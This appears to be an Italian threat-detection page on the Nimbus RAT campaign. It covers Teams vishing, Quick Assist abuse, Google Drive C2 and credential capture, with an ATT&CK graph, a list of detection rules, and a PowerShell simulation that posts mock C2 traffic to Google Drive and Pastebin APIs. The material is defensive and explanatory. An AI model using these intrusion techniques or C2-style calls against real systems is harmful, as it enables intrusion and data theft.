Nimbus RAT Distribuito Tramite Microsoft Teams e Google Drive
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Gli attori delle minacce hanno utilizzato il phishing vocale di Microsoft Teams insieme a Quick Assist per distribuire un trojan di accesso remoto basato su Java noto come Nimbus RAT. Il malware si affida a Google Drive e Google Sheets come suoi canali di command-and-control e include il proprio runtime OpenJDK integrato. Per il furto di credenziali, utilizza un falso prompt di sicurezza di Windows o l’API CredUI nativa per catturare i segreti dell’utente.
Indagine
Il Threat Response Unit di eSentire ha ricostruito l’intera catena di intrusione utilizzando i log del flusso di posta, la telemetria degli endpoint e l’analisi statica del malware Java. La campagna ha combinato il bombardamento di email, una chiamata di vishing basata su Teams, supporto remoto Quick Assist, un foglio d’istruzioni hostato su Pastebin e un tenant SharePoint compromesso usato per distribuire il payload.
Mitigazione
Le difese consigliate includono il disabilitare la messaggistica esterna di Teams proveniente da tenant sconosciuti, bloccare Quick Assist dove non è richiesto, allertare su picchi di attività di bombardamento di email, monitorare javaw.exe esecuzione da posizioni inusuali e rilevare chiamate API di Google Drive sospette iniziate da processi inattesi.
Risposta
Se viene rilevata un’attività di Nimbus RAT, isolare il sistema interessato, terminare tutti i javaw.exe processi correlati, rimuovere la C:ProgramDataInboxCorePro directory e qualsiasi scorciatoia di avvio associata, e considerare un’immagine completa del sistema. Rivedere anche i log di audit di Google Workspace per identificare eventuali concessioni non autorizzate delle applicazioni di Google Drive.
graph TB %% Definizione classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#e6e6e6 %% Nodi – Azioni action_phishing[“<b>Azione</b> – <b>T1566.003 Phishing: Spearphishing via Servizio</b><br/>Campagna di email bombing invia messaggi di conferma iscrizione che preparano una successiva chiamata di vishing su Microsoft Teams”] class action_phishing action action_trusted_rel[“<b>Azione</b> – <b>T1199 Relazione di Fiducia</b><br/>L’attaccante crea un tenant Microsoft 365 usa e getta o compromette un tenant legittimo per inviare messaggi Teams esterni apparentemente affidabili”] class action_trusted_rel action action_user_exec_file[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente: File Malevolo</b><br/>La vittima viene istruita via Pastebin a scaricare uno ZIP da SharePoint compromesso ed eseguire un file JAR tramite javaw.exe”] class action_user_exec_file action action_user_exec_copy[“<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla Malevolo</b><br/>L’attaccante inserisce l’URL di Pastebin nella chat Teams inducendo l’utente a visitare il sito”] class action_user_exec_copy action action_persistence[“<b>Azione</b> – <b>T1547.001 Esecuzione Automatica all’Avvio/Login</b><br/>Persistenza ottenuta tramite importazione di file .reg e collegamento nella cartella Startup per avviare il RAT Java”] class action_persistence action action_credential_harvest[“<b>Azione</b> – <b>T1056.002 Cattura Input: Interfaccia Grafica</b><br/>Nimbus RAT mostra un falso dialogo Java Swing e il prompt CredUI di Windows per rubare credenziali”] class action_credential_harvest action action_c2[“<b>Azione</b> – <b>T1102.002 Servizio Web: Comunicazione Bidirezionale</b><br/>Command and Control tramite Google Drive usando account di servizio o OAuth2 con file di polling cifrati”] class action_c2 action action_exfil[“<b>Azione</b> – <b>T1567.002 Esfiltrazione via Servizio Web</b><br/>Dati raccolti come screenshot e file vengono caricati nella stessa cartella Google Drive usata per il C2”] class action_exfil action action_network_disc[“<b>Azione</b> – <b>T1016 Scoperta Configurazione di Rete</b><br/>Il RAT esegue comandi come ipconfig /all per raccogliere informazioni di rete”] class action_network_disc action %% Tool / Malware / Processi / File tool_email_bomb[“<b>Strumento</b> – Nome: script email bombing”] class tool_email_bomb tool tool_teams[“<b>Strumento</b> – Nome: Microsoft Teams (vishing)”] class tool_teams tool tool_sharepoint[“<b>Strumento</b> – Nome: sito SharePoint compromesso”] class tool_sharepoint tool malware_nimbus[“<b>Malware</b> – Nome: Nimbus RAT (Java)”] class malware_nimbus malware file_jar[“<b>File</b> – Nome: InboxCorePro.jar (payload Java)”] class file_jar data process_javaw[“<b>Processo</b> – Nome: javaw.exe (esecuzione JAR)”] class process_javaw process file_reg[“<b>File</b> – Nome: importazione registro .reg”] class file_reg data file_startup[“<b>File</b> – Nome: collegamento nella cartella Startup”] class file_startup data service_gdrive[“<b>Servizio</b> – Nome: Google Drive (C2 ed esfiltrazione)”] class service_gdrive data process_ipconfig[“<b>Processo</b> – Comando: ipconfig /all”] class process_ipconfig process %% Connessioni action_phishing –>|usa| tool_email_bomb action_phishing –>|porta_a| action_trusted_rel action_trusted_rel –>|usa| tool_teams action_trusted_rel –>|consegna| action_user_exec_copy action_user_exec_copy –>|fornisce_link_a| action_user_exec_file action_user_exec_file –>|scarica_da| tool_sharepoint action_user_exec_file –>|esegue| file_jar file_jar –>|eseguito_da| process_javaw process_javaw –>|avvia| malware_nimbus malware_nimbus –>|crea| action_persistence action_persistence –>|importa| file_reg action_persistence –>|posiziona| file_startup malware_nimbus –>|raccoglie| action_credential_harvest malware_nimbus –>|comunica_con| service_gdrive service_gdrive –>|supporta| action_c2 service_gdrive –>|supporta| action_exfil malware_nimbus –>|esegue| action_network_disc action_network_disc –>|esegue_comando| process_ipconfig
Flusso di Attacco
Rilevamenti
Esecuzione di App Java da Posizione Sospetta (via process_creation)
Visualizza
Binari / Script Sospetti in Posizione di Avvio Automatico (via file_event)
Visualizza
Possibile Dominio GoogleApis Risolto da Processo Conosciuto Abusato (via dns_query)
Visualizza
Attività Possibile dell’Utility di Comando e Controllo di Google (via proxy)
Visualizza
IOCs (HashSha256) per rilevare: Nimbus RAT: Come gli attori delle minacce stanno abusando di Microsoft Teams e Google Drive per distribuire un RAT Java
Visualizza
Rilevamento dell’Uso Sospetto delle API di Google e Pastebin [Proxy]
Visualizza
Rilevamento dell’Esecuzione di Nimbus RAT tramite javaw.exe e Comandi di Ricognizione [Creazione Processo Windows]
Visualizza
Esecuzione di Quick Assist e regedit.exe in Attacco di Vishing [Log di Sicurezza Evento Microsoft Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il Controllo Preparatorio di Telemetria & Baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.
-
Narrazione e Comandi dell’Attacco:
L’attore delle minacce ha già compromesso l’endpoint con il binario di Nimbus RAT. Per stabilire un canale C2 nascosto, il RAT emette due richieste in uscita HTTP POST:- Chiamata API di Google Drive – carica un piccolo payload JSON su
https://www.googleapis.com/drive/v3/files?uploadType=media, imitando il comportamento di “download-payload” del RAT. - Pastebin Paste – invia una stringa di comando codificata base-64 a
https://pastebin.com/api/api_post.phputilizzando la chiave API pubblica.
Entrambe le richieste sono eseguite tramite
Invoke-WebRequestdi PowerShell per assicurare che i log del firewall contengano il campodominio(googleapis.comandpastebin.com). L’attaccante esegue i comandi nel contesto dell’utente compromesso per confondere con l’attività normale. - Chiamata API di Google Drive – carica un piccolo payload JSON su
-
Script di Test di Regressione:
# -------------------------------------------------------------- # Simulazione C2 di Nimbus RAT – attiva la regola Sigma su corrispondenza del dominio # -------------------------------------------------------------- # 1. Caricamento fittizio API di Google Drive (nessuna autenticazione – concentrato sulla telemetria del dominio) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Caricato mock su Google Drive API" } catch { Write-Warning "Richiesta a Google Drive fallita (atteso in sandbox): $_" } # 2. Post pubblico API Pastebin (richiede una chiave sviluppatore – usando un segnaposto) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- sostituire con una chiave valida per test reale $pastebinText = "echo 'Comando simulato da C2'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Postato comando mock a Pastebin" } catch { Write-Warning "Richiesta a Pastebin fallita (atteso in sandbox): $_" } # -------------------------------------------------------------- # Fine simulazione # -------------------------------------------------------------- -
Comandi di Pulizia:
# Rimuovere eventuali file temporanei o variabili utilizzati durante la simulazione Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] Pulizia completata."